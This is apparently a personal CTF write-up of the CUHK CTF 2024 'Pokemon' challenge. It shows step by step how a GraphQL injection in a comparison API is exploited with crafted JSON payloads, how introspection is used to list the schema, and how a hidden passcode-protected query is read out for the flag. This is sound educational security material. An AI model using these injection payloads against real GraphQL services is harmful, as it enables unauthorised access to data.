siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Pokemon

Table of Contents

Overview

Background

I found that there are infiltrators on this pokemon comparator website! They secretly added Flagmon (a new digimon OC) somewhere in their serivce… I obtained the passcode dish-percent-drop-brief from their source code, but by the time I tried to download their source code, they have already removed it… Can you help me and find Flagmon? You will be rewarded with a flag once you have found it.

chal.24.cuhkctf.org:24049

Enumeration

Index page:

In here, we can add and compare different Pokemon characters’ stats. Let’s click on the “Add new Pokemon Comparator” button!

After clicking on that button, we can enter a Pokemon’s name, check its stats checkboxes, and click the “Add new Pokemon” button. Let’s try Pokemon “Charizard”:

Then, we can click the “Compare!” button:

Burp Suite HTTP history:

After clicking the “Compare!” button, it’ll send a POST request to /api/query with the following JSON object data:

{
  "pokemons": [
    "Charizard"
  ],
  "compares": [
    "id",
    "type1",
    "type2",
    "abilities",
    "hp",
    "attack"
  ]
}

And the server respond the following JSON object data:

{
  "data": {
    "_1": {
      "abilities": "Blaze / Solar Power",
      "attack": 84,
      "hp": 78,
      "id": 6,
      "type1": "Fire",
      "type2": "Flying"
    }
  }
}

Since this challenge is closed source, we have to poke around and see what will happen.

Based on the API endpoint’s name query, we could assume this API endpoint is related to database operation, such as using SQL queries to get the Pokemon character’s stats. If so, we can try to inject single or double quote character to get a SQL syntax error.

After some testing, if we inject a double quote character in the pokemons field, or single quote character in the compares field, this API endpoint will occur an error:

However, the response’s JSON data’s field query doesn’t seem like a SQL syntax.

Based on my experience, I know this is a GraphQL query syntax. Or, you can ask LLM (Large Language Model) to analysis the error:

GraphQL is an API query language that is designed to facilitate efficient communication between clients and servers. It enables the user to specify exactly what data they want in the response, helping to avoid the large response objects and multiple calls that can sometimes be seen with REST APIs. - https://portswigger.net/web-security/graphql/what-is-graphql

According to the GraphQL query error, we can see that the web server tried to build and execute the following alias query, or known as “batching query”:

{
    _1: pokemon(name:"Charizard"") {
        id
        type1
        type2
        abilities
        hp
        attack
    }
}

As you can see, our field pokemons and compares values are directly concatenated to the alias query without any sanitization.

Now, let’s try to inject our own GraphQL query:

{
  "pokemons": [
    "anything\"){id}}#"
  ],
  "compares": []
}

Which the server builds the following alias query:

{
    _1: pokemon(name:"anything"){id}}#") {}
}

In here, we used a double quote character and closing parenthesis character (")) to escape the name filter. Then, the {id} is to include the result’s id field. Next, the last } character is to end the alias query. Finally, the # is to comment out the rest of the GraphQL syntax.

Look! No more errors!

Next, to really confirm this is a GraphQL endpoint, we can send a universal query.

{
  "pokemons": [
    "anything\"){id},injected_query:__typename}#"
  ],
  "compares": []
}

If you send query{__typename} to any GraphQL endpoint, it will include the string {"data": {"__typename": "query"}} somewhere in its response. This is known as a universal query, and is a useful tool in probing whether a URL corresponds to a GraphQL service.

The query works because every GraphQL endpoint has a reserved field called __typename that returns the queried object’s type as a string. - https://portswigger.net/web-security/graphql#universal-queries

Query result:

As we can see, the query’s result returned the string Query! Therefore, this API endpoint is vulnerable GraphQL injection.

To enumerate this GraphQL’s schema, we can use introspection queries to enumerate it. In GraphQL, introspection is a built-in function that enables users to query the server’s GraphQL schema.

But before we do that, let’s confirm introspection is enabled in this challenge. This is because it’s suggested that in the production environment, introspection should be disabled. To test this, we can probe for introspection with the following payload:

{
  "pokemons": [
    "anything\"){id},injected_query:__schema{queryType{name}}}#"
  ],
  "compares": []
}

As we can see, it returned the query type’s name Query, which indicates that introspection is enabled.

After confirming introspection is enabled, we can enumerate the entire GraphQL schema by running a full introspection query.

In this case, however, the schema is so big that if we try to run a full introspection query, we’ll bring the API endpoint down. This is possibly due to out-of-memory caused by the insanely large schema.

Note: During the CTF, I accidentally kept bringing the API endpoint down.

That being said, we should enumerate the schema step by step instead of just dumping the entire schema.

Schema types:

{
  "pokemons": [
    "anything\"){id},injected_query:__schema{types{name}}}#"
  ],
  "compares": []
}

Response:

{
  "data": {
    [...]
    "injected_query": {
      "types": [
        {
          "name": "Pokemon"
        },
        [...]
        {
            "name":"Digimon0x0000298c"
        },
        [...]
        {
            "name":"Query"
        },
        [...]
      ]
    }
  }
}

In the query result, we can see that the schema has type Pokemon, tons of Digimon0x........, and Query.

Now, let’s dive deeper into type Query to see if there are any hidden queries.

Type Query:

{
  "pokemons": [
    "anything\"){id},injected_query:__type(name:\"Query\"){name,fields{name,type{name,kind}}}}#"
  ],
  "compares": []
}

Response:

{
  "data": {
    [...]
    "injected_query": {
      "fields": [
        {
          "name": "hello",
          "type": {
            "kind": "SCALAR",
            "name": "String"
          }
        },
        {
          "name": "bye",
          "type": {
            "kind": "SCALAR",
            "name": "String"
          }
        },
        {
          "name": "pokemon",
          "type": {
            "kind": "OBJECT",
            "name": "Pokemon"
          }
        },
        {
          "name": "digimOwOUwURawrn38408375018458385023841203489738570123",
          "type": {
            "kind": "OBJECT",
            "name": "Digimon0x000141a0"
          }
        }
      ],
      "name": "Query"
    }
  }
}

In the schema, there’re 4 queries, which are hello, bye, pokemon, and digimOwOUwURawrn38408375018458385023841203489738570123.

Huh, the last query name seems very interesting. In that query, the return object is Digimon0x000141a0. Let’s take a look at its arguments.

Query digimOwOUwURawrn38408375018458385023841203489738570123 arguments:

{
  "pokemons": [
    "anything\"){id},injected_query:__type(name:\"Query\"){name,fields{name,type{name,kind},args{name,type{name,ofType{name}}}}}}#"
  ],
  "compares": []
}

Response:

{
  "data": {
    [...]
    "injected_query": {
      "fields": [
        [...]
        {
          "args": [
            {
              "name": "passcode",
              "type": {
                "name": null,
                "ofType": {
                  "name": "String"
                }
              }
            },
            {
              "name": "name",
              "type": {
                "name": null,
                "ofType": {
                  "name": "String"
                }
              }
            }
          ],
          "name": "digimOwOUwURawrn38408375018458385023841203489738570123",
          "type": {
            "kind": "OBJECT",
            "name": "Digimon0x000141a0"
          }
        }
      ],
      "name": "Query"
    }
  }
}

As we can see, query digimOwOUwURawrn38408375018458385023841203489738570123 has 2 arguments, which are passcode and name.

Wait, passcode? In the challenge’s description, it says the passcode is dish-percent-drop-brief, and Flagmon has the flag.

Exploitation

Armed with the above information, we can try to query digimOwOUwURawrn38408375018458385023841203489738570123 with argument passcode and name.

But before we do that, we need to know the return object type Digimon0x000141a0’s fields.

Query object type Digimon0x000141a0’s fields:

{
  "pokemons": [
    "anything\"){id},injected_query:__type(name:\"Digimon0x000141a0\"){name,fields{name}}}#"
  ],
  "compares": []
}

Response:

{
  "data": {
    [...]
    "injected_query": {
      "fields": [
        {
          "name": "id"
        },
        {
          "name": "name"
        },
        {
          "name": "level"
        },
        {
          "name": "type"
        },
        {
          "name": "attribute"
        },
        {
          "name": "description"
        },
        {
          "name": "flag"
        },
        {
          "name": "tokenf0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b"
        },
        {
          "name": "tokend743cb4b22397cf64e0117fd83d29ca1e059c698b8155a3771417e24458e2bb5"
        },
        {
          "name": "tokenb20e3fc8e392aeae90db75a40648ad4aa87d13830ef9eb80343b960130ec2d3e"
        }
      ],
      "name": "Digimon0x000141a0"
    }
  }
}

Oh! Object type Digimon0x000141a0 has field flag!

Now we can finally query digimOwOUwURawrn38408375018458385023841203489738570123!

{
  "pokemons": [
    "anything\"){id},injected_query:digimOwOUwURawrn38408375018458385023841203489738570123(passcode:\"dish-percent-drop-brief\",name:\"Flagmon\"){flag}}#"
  ],
  "compares": []
}

Response:

{
  "data": {
    [...]
    "injected_query": {
      "flag": "Flag not here hahahahahaha"
    }
  }
}

Huh? The flag is not here?

If you remember, object type Digimon0x000141a0 also has some weird token fields:

{
  "data": {
    [...]
    "injected_query": {
      "fields": [
        [...]
        {
          "name": "tokenf0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b"
        },
        {
          "name": "tokend743cb4b22397cf64e0117fd83d29ca1e059c698b8155a3771417e24458e2bb5"
        },
        {
          "name": "tokenb20e3fc8e392aeae90db75a40648ad4aa87d13830ef9eb80343b960130ec2d3e"
        }
      ],
      "name": "Digimon0x000141a0"
    }
  }
}

Maybe those fields contain the flag?? Let’s try that:

{
  "pokemons": [
    "anything\"){id},injected_query:digimOwOUwURawrn38408375018458385023841203489738570123(passcode:\"dish-percent-drop-brief\",name:\"Flagmon\"){tokenf0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b}}#"
  ],
  "compares": []
}

Response:

{
  "data": {
    [...]
    "injected_query": {
      "tokenf0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b": "Flag Not Here"
    }
  }
}

Nope.

After trying all those token fields, we can find that the last token field contains the flag:

{
  "pokemons": [
    "anything\"){id},injected_query:digimOwOUwURawrn38408375018458385023841203489738570123(passcode:\"dish-percent-drop-brief\",name:\"Flagmon\"){tokenb20e3fc8e392aeae90db75a40648ad4aa87d13830ef9eb80343b960130ec2d3e}}#"
  ],
  "compares": []
}

Response:

{
  "data": {
    [...]
    "injected_query": {
      "tokenb20e3fc8e392aeae90db75a40648ad4aa87d13830ef9eb80343b960130ec2d3e": "cuhk24ctf{WowoW_u_know_gwAphQL_pitty_well_Want_to_say'Congratuwulations_\"hacker\"!'-\\_/-_for_finding_Fa1gm0n}"
    }
  }
}

Note: Remember to unescape the JSON string. CyberChef can help you for that.

Conclusion

What we’ve learned:

  1. GraphQL injection and enumeration